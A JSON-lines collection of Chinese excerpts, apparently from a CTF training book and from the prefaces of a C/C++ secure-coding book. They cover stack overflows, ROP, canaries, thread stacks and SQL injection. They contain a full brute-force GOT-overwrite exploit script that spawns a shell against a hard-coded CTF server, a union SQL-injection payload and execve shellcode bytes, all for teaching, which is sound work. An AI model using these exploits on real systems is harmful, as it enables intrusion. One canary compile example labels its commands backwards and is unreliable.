    {"text": "根据以前的经验，system地址与aoti相距并不远（aoti在前，system在后），而且这些库函数的地址大都比较规整，为0x10的整数倍，于是想出暴力破解的思路，为了防止卡死，直接发送cat/home/ctf/flag下面的文件，根据读取的返回值，决定偏移是否成功。 虽然偏移不会很大，但是为了节省时间，这里分了几个区段进行暴力破解，如从0x0、0x5000、0xa000、0xc00开头的距离开始破解，代码如下： import struct from zio import * #target = ('119.254.101.197',10000) #target = './shaxian' target = ('180.76.178.48', 23333) def input_info(io): io.read_until('Address:') io.writeline(l32(0)+l32(0x31)) io.read_until('number:') io.writeline('a'*244+l32(0x31)) def dian_cai(io, name, num): io.read_until('choose:') io.writeline('1') io.read_until('Jianjiao') io.writeline(name) io.read_until('?') io.writeline(str(num)) def sublit(io): io.read_until('choose:') io.writeline('2') def receipt(io, taitou): io.read_until('choose:') io.writeline('3') io.read_until('Taitou:') io.writeline(taitou) def review(io): io.read_until('choose:') io.writeline('4') def link_heap(io): io.read_until('choose:') io.writeline('4') io.read_until('2\\n') heap_ptr = l32(io.read(4)) print hex(heap_ptr) return heap_ptr def leak_lib(io): io.read_until('choose:') io.writeline('4') io.read_until('* ') d = io.readline().strip('\\n') return int(d, 10)&0xffffffff def pwn (target, dis): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) #io = zio(target, timeout=10000, print_read=None, print_write=None) input_info(io) dian_cai(io, 'aaa', 1) read_got = 0x0804b010 atoi_got = 0x0804B038 #puts_got = 0x0804b02c payload = 'a'*32+l32(atoi_got-4) dian_cai(io, payload, 2) atoi_addr = link_heap(io) #system_addr = 0xf7e39190 #io.gdb_hint() payload2 = 'a'*32+l32(0x0804B1C0-8) dian_cai(io, payload2, 3) sublit(io) payload = 'a'*4+l32(atoi_got) offset_read = 0x000da8d0 offset_system = 0x0003e800 offset_puts = 0x000656a0 offset_atoi = 0x0002fbb0 print \"dis:\",hex(dis), \"com:\", hex(offset_system - offset_atoi) #libc_base = atoi_addr - offset_atoi #system_addr = libc_base + offset_system #system_addr = libc_base + offset_puts system_addr = atoi_addr + dis system_addr = struct.unpack(\"i\", l32(system_addr))[0] sublit(io) dian_cai(io, payload, system_addr) #io.writeline('/bin/cat /home/shaxian/flag') io.writeline('/bin/sh\\n') io.interact() #data = io.read(1024) data = io.read_until_timeout(1) if \"RCTF\" in data or \"No such file\" in data: print \"herre\" file_w = open(\"flag-4002\", 'w') data += \"dis:\" + hex(dis) + \"com:\" + hex(offset_system - offset_atoi) file_w.write(data) file_w.close() exit(0) else: io.close() #print \"ok:\" #io.interact() dis = 0x100 dis = 0xe130 while dis < 0xffffff: try: print hex(dis) pwn(target, dis) except Exception, e: pass else: pass finally: dis += 0x10 2）使用dl_resolve求解，主办方考虑的知识点（赛后重新使用该方法做了一遍）。"},
    {"text": "plt0的三个参数必须是index、返回地址、函数参数，我们发现将atoi修改为栈转移gadget地址后，在调用atoi函数时，距离栈顶44字节处的信息就是栈信息了，因此只要找到一个抬高栈的gadget即可，如图11-27所示。"},
    {"text": "未知 2.2 可以联合查询的SQL注入 在可以联合查询的题目中，一般会将数据库查询的数据回显到页面中，比如下面这个例子（测试样例代码时需要关闭GPC）： <?php ... $id = $_GET['id']; $getid = \"SELECT Id FROM users WHERE user_id = '$id'\"; $result = mysql_query($getid) or die('<pre>'.mysql_error().'</pre>'); $num = mysql_numrows($result); ... 我们注意看上方SQL语句中的$id变量，该变量会将GET获取到的参数直接拼接到SQL语句中，假如此时传入如下参数： ?id=-1'union+select+1+--+ 拼接后SQL语句就变成了： SELECT Id FROM users WHERE user_id='-1'union select 1 -- ' 闭合前面的单引号，注释掉后面的单引号，中间写上需要的Payload就可以了。或许你会注意到，传递参数的时候用到了“+”号，而查询语句中并没有出现这个加号，这是因为服务器在处理用户输入的时候已经自动将加号转义为空格符了。 联合查询是最简单易学，也是最容易理解和上手的注入方法，所以在题目中出现可以使用联合查询进行回显的注入时，一般需要绕过某些特定字符或者是特定单词（比如，空格或者select、and、or等字符串）。 未知 第12章 栈相关漏洞 12.1 栈介绍 程序栈主要用于存储程序运行过程中的局部信息，大小不固定，是动态增长的。栈内存一般可以根据函数栈来进行划分（不使用函数的程序比较少见），不同的函数栈之间是相互隔离的，从而能够实现有效的函数切换。函数栈上存储的信息一般包括：临时变量（包括栈保护哨canary）、函数的返回栈基址（bp）、函数的返回地址（ip）。程序栈的示意如图12-1所示。 图12-1 程序栈的示意图 未知 12.1.1 函数栈的调用机制 程序运行时，为了实现函数之间的相互隔离，需要在进入新函数之前保存当前函数的状态，而这些状态信息全在栈上。为了实现状态的隔离，由此引出了函数栈的概念，当前函数栈的边界就是栈顶指针（sp）和栈底指针（bp）所指的区域。sp主要指esp（x86）和rsp（x64），bp主要指ebp（x86）和rbp（x64）。 在函数调用（即进入子函数时）时，首先将参数入栈，然后压入返回地址和栈底指针寄存器bp（也有不压bp的情况），其中压入返回地址是通过call实现的。 在函数结束时，将sp重新指向bp的位置，并弹出bp（与前面是否压入bp保持一致）和返回地址ip，通常，弹出bp是通过leave或者pop bp（pop rbp或者pop ebp）来实现的。 x86示例如图12-2所示。 图12-2 x86程序参数传递实例 x64示例如图12-3所示。 图12-3 x64程序参数传递实例 修改bp寄存器，然后执行ret，函数状态将恢复成进入子函数时的状态，实现了函数栈的切换。 函数栈示意如图12-4所示。 图12-4 函数栈示意图 在函数栈中，bp中存储了上个函数栈的基址，而ip存储的是调用处的下一条指令位置。返回当前函数时，会从栈上弹出这两个值，从而恢复上一个函数的信息。"},
    {"text": "未知 12.1.2 函数参数传递 由于函数的传参规则受函数调用协议的影响，因此本节首先简单介绍一下函数调用协议。 __stdcall、__cdecl和__fastcall是三种函数调用协议，函数调用协议会影响函数参数的入栈方式、栈平衡的修复方式、编译器函数名的修饰规则等。 调用协议的常用场合如下。 ·__stdcall：Windows API默认的函数调用协议。 ·__cdecl：C/C++默认的函数调用协议。 ·__fastcall：适用于对性能要求较高的场合。 函数参数的入栈方式包含如下几种。 ·__stdcall：函数参数由右向左入栈。 ·__cdecl：函数参数由右向左入栈。 ·__fastcall：从左开始将不大于4字节的参数放入CPU的ecx和edx寄存器，其余参数从右向左入栈。 栈平衡的修复方式包含以下几种。 ·__stdcall：函数调用结束后由被调用函数来平衡栈。 ·__cdecl：函数调用结束后由函数调用者来平衡栈。 ·__fastcall：函数调用结束后由被调用函数来平衡栈。 对于Linux程序来说，通常采用__cdecl的调用方式，所以这里主要介绍这种调用方式下的函数传参规则。 对于x86程序 ·普通函数传参：参数基本都压在栈上（有寄存器传参的情况，可查阅相关资料）。 ·syscall传参：eax对应系统调用号，ebx、ecx、edx、esi、edi、ebp分别对应前六个参数。多余的参数压在栈上。 对于x64程序 ·普通函数传参：先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上。 ·syscall传参：rax对应系统调用号，传参规则与普通函数传参一致。 对于arm程序：R0、R1、R2、R3，依次对应前四个参数，多余的参数会依次压在栈上。 __stdcall和__fastcall这两种调用方式的传参规则可参考上文中的函数参数入栈方式，更多信息可以查阅相关资料进行扩展。 其中普通函数传参示例如下。 测试代码如下： #include <stdio.h> void test_func(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7) { printf(\"%d, %d, %d, %d, %d, %d, %d, %d\\n\", arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7); } int main() { test_func(0, 1, 2, 3, 4, 5, 6, 7); } x86反汇编代码如图12-5所示。 图12-5 x86程序参数传递示意图 x64反汇编代码如图12-6所示。 图12-6 x64程序参数传递示意图 未知 12.2 栈溢出 12.2.1 基本概念 栈溢出是指栈上的缓冲区被填入了过多的数据，超出了边界，从而导致栈上原有的数据被覆盖。栈溢出是缓冲区溢出的一种类型，示意如图12-7所示。 图12-7 缓冲区溢出示意图 从前面的函数栈示意图（图12-4）可以看出，里面比较重要的数据主要可分为三部分，即局部变量、bp和ip，这几部分存储的数据都很关键，主要作用如下。 ·局部变量：局部变量在函数中的作用很大，如构造危险输入、影响条件分支的转移等，这些都能起到改变控制流或者方便构造更强大的漏洞的作用。 ·bp：函数栈栈底指针，能够直接影响返回函数的栈，如果恢复bp的代码是“leave”或者后续代码存在“mov sp,bp”，则会间接影响控制流；同时，有些参数以及临时变量在代码中很有可能是根据bp来索引的（具体见汇编代码），因此也能影响局部变量或者参数的使用，从而影响控制流。 ·ip：程序返回地址，能够直接影响控制流，如ip指向危险函数、直接调用rop等。"},
    {"text": "未知 12.2.2 覆盖栈缓冲区的具体用途 根据前面所述的函数栈所存储的信息，栈上能够控制的信息很多，可操作的空间是很大的，具体需要根据能覆盖的情况进行分析。 下面主要针对栈缓冲区覆盖的几个方面进行详细介绍。"},
    {"text": "2）覆盖当前栈中函数的返回地址（当前函数或者之前的函数），获取控制流。 3）覆盖栈中所存储的临时变量（当前函数或者之前的函数）。 4）覆盖栈底寄存器bp（之前的函数）。"},
    {"text": "一般情况下，拿到程序之后，首先会检查程序的保护机制开启情况，尤其需要关注是否开启NX，检查命令为“checksec./proc”，NX检测示意如图12-8所示。"},
    {"text": "NX开启和关闭的情况分别如图12-8a和图12-8b所示。 图12-8 NX检测示意图 关闭NX的编译选项为“-z execstack”，默认是开启的。"},
    {"text": "示例代码如下： #include <stdio.h> char shellcode[] = \"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\"; int main() { char stack_buff[0x40]; char *heap_buff = malloc(0x40); memcpy(stack_buff, shellcode, sizeof(shellcode)); memcpy(heap_buff, shellcode, sizeof(shellcode)); //((void (*)(void))shellcode)(); ((void (*)(void))stack_buff)(); //((void (*)(void))heap_buff)(); } 编译命令分别如下。"},
    {"text": "栈保护哨（canary）主要是存放在函数栈靠近底部位置的一个临时变量中，防止栈缓冲区覆盖存放在栈底的栈底寄存器（bp）和返回地址（ip），如图12-11所示。"},
    {"text": "这样即便发生了栈缓冲区溢出，由于canary的存在，也很难覆盖bp和ip，从而可防止直接利用这两个值进行控制流劫持（如rop），减轻了对栈缓冲区的危害。"},
    {"text": "虽然canary在程序中每次运行时都是随机的，但是就程序的一次运行来说，大部分情况下，不同函数中的canary值是固定的（是否一样可根据汇编代码来查看，若非特殊处理，通常是一样的），所以只要能够泄露出canary，就可以绕过canary保护机制。"},
    {"text": "示例代码如下： #include <stdio.h> int main() { char stack_buff[0x10]; gets(stack_buff); printf(\"%s\\n\", stack_buff); } 编译命令分别如下。"},
    {"text": "关闭canary： gcc -o proc_canary sample_canary.c 开启canary： gcc -o proc sample.c -fno-stack-protector proc_canary的反汇编结果如图12-12所示。 图12-12 带有canary的程序反汇编实例 proc的反汇编结果如图12-13所示。 图12-13 不带canary的程序反汇编实例 2）函数栈底部存放的返回地址是返回到父函数调用处的下一个位置，如果栈缓冲区覆盖了该返回地址，那么函数结束后，将会跳转到所修改的地址上去，从而劫持控制流，示意如图12-14所示。 图12-14 劫持栈的控制流 测试样例代码如下： #include <stdio.h> void target_func() { printf(\"Hacked\\n\"); exit(0); } int main() { char buff[0x10]; gets(buff); } 编译命令： gcc -o overwirte_ret overwirte_ret.c -fno-stack-protector 反汇编代码如图12-15所示。 图12-15 测试样例的反汇编代码 可以看到，target_func的地址为0x4005C6，栈buff的大小是0x10的大小，运行到gets函数调用处，内存状态如图12-16所示。 图12-16 调试时的内存状态 输入命令ni单步跳过，然后输入AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD，其中AAAAAAAABBBBBBBB占据了buff的空间，CCCCCCCCDDDDDDDD则用于填充rbp和rip的位置，内存状态如图12-17所示。 图12-17 执行到leave指令时的内存状态 单步执行si，运行到ret指令，可以看到返回地址为DDDDDDDD，即0x4444444444444444，而rbp为CCCCCCCC，即0x4343434343434343，如图12-18所示。 图12-18 执行到ret指令时的内存状态 将输入中的DDDDDDDD用target_func的地址0x4005C6来替代，就能执行到targtet_func，如图12-19所示。"},
    {"text": "因为函数调用时返回地址会压入栈中，即汇编中的“call func”指令等同于“push ret_addr;jmp func”，所以执行jmp func的时候，ret_addr已经压到栈里面去了，进入函数时栈的状态如图12-20所示。"},
    {"text": "图12-22 rop构造形式 对于x64程序来说，一般情况下，函数的参数较少，通常主要是利用寄存器来传递参数的，所以在进入函数之前，应先将寄存器设置好，对于其rop的理解也比较容易，如图12-23所示。"},
    {"text": "图12-23 rop gadget示意图 3）覆盖栈中所存储的临时变量的情况比较简单且常见，主要是被覆盖的临时变量很有可能在后续的代码中起到很大的作用。"},
    {"text": "示例代码如下： #include <stdio.h> int main() { int info; char buff[0x1c]; info = 0; //11111111111111111111111111111 gets(buff); if (info) { printf(\"Hacked\\n\"); } printf(\"%x\\n\", buff); printf(\"%x\\n\", &info); } 编译命令： gcc -o overwirte_var overwirte_var.c -fno-stack-protector 通过打印的地址可以知道，buff与info的地址相差0x1c，因此输入0x1d个字符就能够覆盖到info的值，从而改变info，并影响控制流，执行结果如图12-24所示。"},
    {"text": "这主要是针对汇编代码，栈底寄存器bp的主要作用是确定函数栈的栈底是否发生改变，一旦发生改变，函数中所引用的信息都会发生变化。 栈底寄存器bp的主要用途包含如下几个方面。"},
    {"text": "改变bp的值，能起到很多作用，如执行rop、扩展栈空间等，具体需要根据实际情况来看。 如执行rop的情况，若后续遇到“leave;ret”指令，就会跳转到目的栈上去，如果该栈上布置了rop，就能达到目的，如图12-25所示。"},
    {"text": "传进gets的变量，就是根据rbp的偏移来计算的，因此如果rbp发生了变换，那么后续的很多参数也会发生改变，尤其是输入参数之类，若作为条件判断或者危险函数的传值等，就可能实现更强大的功能。"},
    {"text": "通常，发生栈覆盖时，可以关注能够产生缓存区溢出的函数、循环赋值逻辑等，但此时需要留意其能够读取与覆盖的范围的大小，看是否超过申请的值，包括： ·常见的栈覆盖危险函数形式有gets(buff)、scanf(\"%s\",buff)等；"},
    {"text": "未知 12.3 栈的特殊利用 关于栈的用法，有很多有用的技巧，下面总结几种比较常见的方式。 1）libc信息泄露。 由图12-1可以知道，main函数的栈底存放的是__libc_start_main_ret，因此一旦能够使其返回地址泄露，就可以利用libc.so文件或使用libc_database来计算libc的基址以及system地址等。 2）多级指针：path指针，多用于格式化字符串。 由于函数栈的下面存放有环境变量、argv等指针，该指针通常可以用来泄露信息，具体见12.6.1节。另外，这个地址通常用于格式化字符串的漏洞，具体可结合第14章来理解。 3）环境变量修改：环境变量指针参数会压在栈上，修改可以达到特定目的。 在进入程序主逻辑之前，环境变量已经压入了栈底，而这些环境变量可能会影响程序的行为，如LD_PRELOAD、LIBC_FATAL_STDERR_等。 4）通过libc泄露栈地址。 栈地址通常都比较关键，很多时候都需要泄露出该地址，如果出现知道libc地址但不知道栈地址的情况，可以根据libc中的Environ偏移来计算栈的偏移。 5）往栈上写rop的小技巧。 一般来说，对于rop不好布置的情况，可以选择离当前函数栈较远的位置进行写入，然后通过返回达到rop位置。如可以在main函数的栈底布置rop，触发main函数返回的条件，就会执行到rop处。 未知 12.4 栈喷射 栈喷射（stack spray）主要用于实现rop时无法得到确定栈地址的情况，通过预先在栈中布置大量重复性的rop数据块，只要返回时栈顶位于其中的一个数据块处就能实现rop，如图12-27所示。 图12-27 栈喷射示意图 通常，这种情况是指不能确定栈地址中的某几位，一般是低位，所以可以提前将低位所对应的地址空间中的数据全部或者部分布置好。 如要用到栈地址0xffff5e**里面的值，则可以将0xffff5e00~0xffff5eff的地址空间中所需要的值都布置好，或者将其中一部分设置好，这样当栈地址恰好为一个值时，会有很大可能性刚好落在所布置的地址空间范围内，从而满足需求。 一般来说，产生栈喷射的条件多种多样，大多带有随机性，如栈地址的随机性、覆盖长度有限等。如栈溢出覆盖bp只能覆盖最低字节，导致程序栈转移出现随机性，这种情况就可以采用栈喷射。 另外，栈喷射的数据也有很多种情况，如控制变量、shellcode地址、rop地址、rop数据等。 在这里仅就一种情况进行说明，其他的则可以根据这个示例举一反三进行理解，具体解析请参见12.6.4节。"},
    {"text": "未知 12.5 线程栈 线程栈是针对多线程程序来说的，同一进程不同线程的栈都会布置在程序栈中，但是为了保证线程函数的正确执行，线程栈之间应相互隔离，布局如图12-28所示。 图12-28 程序线程栈内存布局 示例代码如下： #include <stdio.h> #include <pthread.h> void *thread_func_1() { char buff[0x40]; printf(\"thread_func_1 stack_addr:%p\\n\", buff); sleep(20); printf(\"thread_func_1\\n\"); } void *thread_func_2() { char buff[0x40]; printf(\"thread_func_2 stack_addr:%p\\n\", buff); sleep(20); printf(\"thread_func_2\\n\"); } #define THREAD_COUNT 2 int main() { pthread_t thread[THREAD_COUNT]; int i; pthread_create(&thread[0], NULL, (void *)thread_func_1,NULL); pthread_create(&thread[1], NULL, (void *)thread_func_2,NULL); sleep(2); printf(\"ready to bk\\n\"); for (i = 0; i < THREAD_COUNT; i++) pthread_join(thread[i],NULL); return 0; } 程序运行起来后，输出如图12-29所示。 图12-29 线程栈地址 用gdb attack程序查看内存布局，如图12-30所示。 图12-30 线程栈内存布局实例 可以看到，线程栈的大小与系统配置有关（可以通过ulimit–s查看和修改），默认为0x800000，表示线程栈之间存在着不可访问的内存保护页，以防止线程之间的相互溢出和覆盖。"},
    {"text": "对于情况1，根据具体情况进行分析即可，一般来说，两个函数栈相距0x801000这么远，可根据调试信息改写。 对于情况2，这里通过一个示例进行讲解，代码如下： /* example.c*/ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #define max_thread 2 void show_info(void* addr, int size) { int i; unsigned char *pointer = addr; for (i = 0; i < size; i++) { if (i % 0x10 == 0) printf(\"0x%016x \", pointer + i); printf(\"%02x\", pointer[i]); if (i % 4 == 3) printf(\" \"); if (i % 0x10 == 15) printf(\"\\n\"); } if ((i-1) % 0x10 != 15) printf(\"\\n\"); } void big_stack_func(int level) { //保护页大小为1k，0x1100就能满足需求 char stack_buff[0x3000]; memset(stack_buff, 2, 0x100); stack_buff[0xd00+0x18] = 2; printf(\"level: %d\\n\", level); show_info(stack_buff+0xd00, 0x100); sleep(10); } #define stack_size 0x130 //经调试可得，grow_stack函数所占用栈空间大小为0x130 int times = 0x801000 / stack_size - 30; //30*stack_size = 0x23a0确保后续栈内存靠近保护页 void grow_stack(int level) { char buff[0x100]; if (level >= times) { big_stack_func(level); return; } //memset(buff, 0xaa, 0x1000); if (level % 1000 == 999) printf(\"at level:%d 0x%016x\\n\", level+1, buff); grow_stack(level+1); } void thread(void* params) { char buff[0x100]; int t_id = *(int*)params; int i; sprintf(buff, \"%d%d%d%d -- USB %d%d%d%d\", t_id, t_id, t_id, t_id, t_id, t_id, t_id, t_id); memcpy(&i, \"\\xef\\xbe\\xad\\xde\", 4); if (t_id > 0) { show_info(buff + 0x801000 - 0x20, 0x30); printf(\"\\n\"); show_info(buff+0x100, 0x100); printf(\"\\n\"); show_info(buff + 0x100 + 0x1000 + 0x100-0x10, 0x10); } for(i=0;i<1;i++){ printf(\"This is the pthread[%d]: 0x%016x -> t_id: 0x%016x\\n\", t_id, buff, &t_id); sleep(3); } if (t_id == 1) { sleep(1); while (t_id != 2) ; printf(\"over\\n\"); } else { sleep(2); grow_stack(0); } } int main(void) { pthread_t id[max_thread]; int i, ret, params[max_thread]; for (i = 0; i < max_thread; i++) { params[i] = i; printf(\"This is the main process id = %d -> 0x%016x\\n\", i, &params[i]); ret = pthread_create(&id[i], NULL, (void *)thread, (void *)&params[i]); sleep(1); if(ret!=0){ printf (\"Create pthread error!\\n\"); exit (1); } } printf(\"This is the main process.\\n\"); for (i = 0; i < max_thread; i++) { pthread_join(id[i], NULL); printf(\"main join %d\\n\", i); } printf(\"This is the main process. over\\n\"); return 0; } 上述代码运行时有两个线程，都是同一个函数，但是由于线程函数传入的参数id不同，分别对应线程0和线程1，所以执行不同的分支。"},
    {"text": "在线程0中，有个递归函数grow_stack，会不断地抬高栈，直到接近线程0和线程1之间的保护页，如图12-31所示。 图12-31 递归函数线程栈示意图 此时，如果调用一个能申请很大空间的栈，越过栈保护页，那么就会发生函数栈重叠，如图12-32所示。 在图12-32所示的示例中，big_stack_func的函数栈和线程1的thread_func函数栈发生了重叠，此时，对big_stack_func的特定局部变量内容进行改写，就能改写线程1的thread_func函数中局部变量的内容。"},
    {"text": "编译命令： gcc -o example example.c -lpthread 图12-32 线程函数栈覆盖 结果如下： … This is the main process id = 0 -> 0x0000000092856110 This is the pthread[0]: 0x000000007821be00 -> t_id: 0x000000007821bdf8 This is the main process id = 1 -> 0x0000000092856114 0x000000007821bde0 ffffffff 00000000 10618592 ff7f0000 0x000000007821bdf0 20692278 eb7f0000 00000000 00000000 0x000000007821be00 30303030 202d2d20 55534220 30303030 0x0000000077a1af00 00000000 00000000 00d4d9b3 6d0c255a 0x0000000077a1af10 00000000 00000000 a5905e78 eb7f0000 0x0000000077a1af20 00000000 00000000 00b7a177 eb7f0000 0x0000000077a1af30 00b7a177 eb7f0000 ddfeaff8 019b4b8c 0x0000000077a1af40 00000000 00000000 00000000 00000000 0x0000000077a1af50 c0b9a177 eb7f0000 00b7a177 eb7f0000 0x0000000077a1af60 ddfeefa6 42749d73 ddfe75d8 bc6b9d73 0x0000000077a1af70 00000000 00000000 00000000 00000000 0x0000000077a1af80 00000000 00000000 00000000 00000000 0x0000000077a1af90 00000000 00000000 00000000 00000000 0x0000000077a1afa0 00000000 00000000 00000000 00000000 0x0000000077a1afb0 00b7a177 eb7f0000 fd6c3178 eb7f0000 0x0000000077a1afc0 00000000 00000000 00000000 00000000 0x0000000077a1afd0 00000000 00000000 00000000 00000000 0x0000000077a1afe0 00000000 00000000 00000000 00000000 0x0000000077a1aff0 00000000 00000000 00000000 00000000 0x0000000077a1bff0 00000000 00000000 00000000 00000000 This is the pthread[1]: 0x0000000077a1ae00 -> t_id: 0x0000000077a1adf8 This is the main process. at level:1000 0x00000000781d1a70 at level:2000 0x00000000781876f0 at level:3000 0x000000007813d370 at level:4000 0x00000000780f2ff0 at level:5000 0x00000000780a8c70 at level:6000 0x000000007805e8f0 at level:7000 0x0000000078014570 at level:8000 0x0000000077fca1f0 at level:9000 0x0000000077f7fe70 at level:10000 0x0000000077f35af0 at level:11000 0x0000000077eeb770 at level:12000 0x0000000077ea13f0 at level:13000 0x0000000077e57070 at level:14000 0x0000000077e0ccf0 at level:15000 0x0000000077dc2970 at level:16000 0x0000000077d785f0 at level:17000 0x0000000077d2e270 at level:18000 0x0000000077ce3ef0 at level:19000 0x0000000077c99b70 at level:20000 0x0000000077c4f7f0 at level:21000 0x0000000077c05470 at level:22000 0x0000000077bbb0f0 at level:23000 0x0000000077b70d70 at level:24000 0x0000000077b269f0 at level:25000 0x0000000077adc670 at level:26000 0x0000000077a922f0 at level:27000 0x0000000077a47f70 level: 27577 0x0000000077a1ade0 00000000 00000000 14618592 ff7f0000 0x0000000077a1adf0 00000000 00000000 02000000 01000000 0x0000000077a1ae00 31313131 202d2d20 55534220 31313131 0x0000000077a1ae10 00000000 00000000 00000000 00000000 0x0000000077a1ae20 00000000 00000000 00000000 00000000 0x0000000077a1ae30 00000000 00000000 00000000 00000000 0x0000000077a1ae40 00000000 00000000 00000000 00000000 0x0000000077a1ae50 00000000 00000000 00000000 00000000 0x0000000077a1ae60 00000000 00000000 00000000 00000000 0x0000000077a1ae70 00000000 00000000 00000000 00000000 0x0000000077a1ae80 00000000 00000000 00000000 00000000 0x0000000077a1ae90 00000000 00000000 00000000 00000000 0x0000000077a1aea0 00000000 00000000 00000000 00000000 0x0000000077a1aeb0 00000000 00000000 00000000 00000000 0x0000000077a1aec0 00000000 00000000 00000000 00000000 0x0000000077a1aed0 00000000 00000000 00000000 00000000 over main join 0 main join 1 This is the main process. Over … 往届比赛中关于线程栈的CTF赛题具体如下： {Hack.lu-2014} Marrio(PWN) {xctf-finnal-2015} http(PWN)"},
    {"text": "未知 网络空间安全技术丛书 CTF特训营：技术详解、解题方法与竞赛技巧 FlappyPig战队 著 ISBN：978-7-111-65735-4 本书纸版由机械工业出版社于2020年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） Cover"},
    {"text": "未知 未知 版权信息 书名：C和C++安全编码(原书第2版) 作者：（美）Robert C.Seacord 排版：zm 出版社：机械工业出版社 出版时间：2014-01-01 ISBN：9787111442790 — · 版权所有 侵权必究 · — 未知 译者序 随着信息技术与相关产业的发展，人类的工作、学习与生活越来越依赖于计算机软件和网络，但与此同时，安全事件层出不穷，网络攻击造成的损失也与日俱增。就在本书的翻译过程中，国际上发生了“棱镜门”事件。“信息战士”的工作使受害国家的安全都受到了威胁，更不用说窃取普通公民的网上交易信息以及个人信息了。然而，这些信息与人们的生产、生活息息相关，信息的盗用给人们造成了财产和无形的损失。这使人们比以往更加关注安全，逐渐意识到完善网络安全势在必行，各级政府以及各企事业单位在安全方面的投入也在不断提高。本书正是在这样的背景下产生的，它紧贴实际编程活动，深入浅出，帮你解决实际应用中的安全漏洞问题。 我曾经编写过C和C++代码，对这两门编程语言都深有感触。C和C++语言是实现许多操作系统和服务器软件的开发语言，支撑着许多为数以万计的用户提供服务的重要应用程序，必须坚实可靠才能持续不断地正常运行。特别是移动互联网的发展，大大增加了应用程序的种类和数量，不安全的应用程序也会造成安全漏洞迅速地大面积传播。因为C和C++语言产生的年代较早并且设计为与底层设备打交道，所以对效率要求很高，这使得这两种语言存在固有的安全问题，虽然语言标准的制定者意识到了这个问题，并提出了许多更加安全的解决方案，但大量的遗留代码中仍然包含不安全的实现和库函数调用，这些都会不时引发安全问题。许多安全检测工具可以帮助人们检查出代码的漏洞，但却不能帮助他们把它们修改正确，而且对C语言中某些功能理解上的偏差往往会导致误用。总而言之，编写安全代码完全是开发人员的责任，而开发人员若要具备这方面的技能，就得掌握相关的理论并在实践中自觉加以运用。 本书涵盖安全编码各个方面，人们普遍能意识到指针是C和C++中最灵活的功能，也是程序员最容易犯错的地方，为强调其重要性有人曾说过“不会用指针的C程序员不是真正的C程序员”，这是因为指针直接对内存地址进行读、写访问，它的重要性不言而喻。但与此同时，这两门语言的另一些要点却常常被忽视。然而编写安全代码的从业人员，则需要全面地了解字符串、整数、内存管理、格式化输入与输出、文件操作中的安全陷阱，并学会规避之法。此外，现代应用程序绝大多数具备并发访问能力，因此本书新增了这些方面的内容，使之更符合实际需要。本书每个主题都配有实例，读者能从中了解产生安全漏洞的缘由和正确的做法。本书还总结了安全编码的实施指南，指出软件开发组织应用这些规程可以提高安全软件的开发效率并更能保证产品符合安全要求。本书引用了许多相关着作，以便于读者进一步了解某个主题的细节。总之，本书值得每个从业人员在开始实际编程活动前阅读。 此外，本书作者Robert C.Seacord是业界着名的安全专家，着有多本安全编程着作。他所领导的CERT项目定期发布安全报告，并与软件厂商合作解决安全问题，在安全领域硕果累累。本书很多内容引用自实际的安全问题，并结合了国际标准C11和C++11展开叙述，实用且跟踪了C和C++语言的最新发展。因此，我郑重向您推荐此书，希望它能在检测及修复安全漏洞上对您有所帮助！ 感谢机械工业出版社谢晓芳编辑邀请我翻译本书并对译文细致地审查和润色。感谢本书第1版译者荣耀和罗翼先生做出的贡献，他们的辛勤工作保障了本书的顺利完成。 感谢我的妻子李颖一如既往的支持和儿子卢〇一的鼓励，他们是我工作的动力。 希望这本书能对读者有所帮助。由于译者经验和水平有限，译文中难免有不妥之处，恳请读者批评指正！ 卢涛"},
    {"text": "未知 序 现代社会对网络化软件系统的依赖日益加深，以这些系统为目标的攻击数量亦与日俱增。形形色色的针对政府、公司、教育机构以及个人系统的攻击，已经导致诸多严重的后果：敏感数据丢失或损坏、系统受损、生产效率降低，以及经济损失等。 尽管今天互联网上的攻击行为大多不过是恶作剧，但是越来越多的证据表明，罪犯、恐怖分子以及其他心怀叵测的人已将软件系统中的漏洞视作达成其不可告人目的的手段。近年来，每年发现的软件漏洞已逾4000个。这些漏洞的成因包括：在设计和实现方面对如何保护系统考虑不周，在开发实践方面对消除会导致安全缺陷的实现瑕疵关注不够。 伴随着软件漏洞的日益增加，攻击手段也与时俱进，变得越发老练、有效。入侵者在发现软件产品中的漏洞后，可以迅速开发出利用漏洞的脚本，继而使用这些脚本威胁计算机的安全。更糟糕的是，他们还将这些脚本与其他攻击者共享。这些脚本与一些“自动扫描网络以窥探脆弱系统”的程序联合起来，攻击那些脆弱系统，危害其安全，甚至利用它们进一步传播攻击。 由于每年都会发现大量的漏洞，系统管理员为了给既有系统打补丁日益疲于奔命。打补丁有时并非易事，并可能会导致意想不到的副作用。在供应商发布一个安全补丁后，可能需耗时数月乃至数年的时间，90%～95%的受影响计算机才能完成修补工作。 互联网用户已经严重依赖于这样一种解决方式：互联网社区作为一个整体，对发生的安全攻击快速做出反应，以确保将损害降至最低，并将攻击迅速击溃。然而，显而易见，如今的“反应式解决方案”已经达到其效力的极限。虽然个体响应组织都在为将漏洞处理过程的精简化和自动化而努力工作，但是今天商业软件产品中的漏洞数目，已经多至只有财力雄厚的组织才能应对漏洞修复工作，其他组织实质上已心有余而力不足。 没有任何证据表明大多数产品中的安全问题得到了改善，很多软件开发者尚未很好地理解从各种漏洞成因中获得的教训，或者尚未运用能够起作用的缓解策略，CERT/CC不断在同一软件产品的更新版本中发现早期版本已存在的同类漏洞就是明证。 这些因素交织在一起，预示着我们完全可以相信，很多攻击甚至会在我们实际希望的最短响应时间内造成巨大的经济损失和服务崩溃。 虽然积极且协调的反应仍然不可或缺，但我们还必须构建出不易被破坏的、更安全的系统。 关于本书 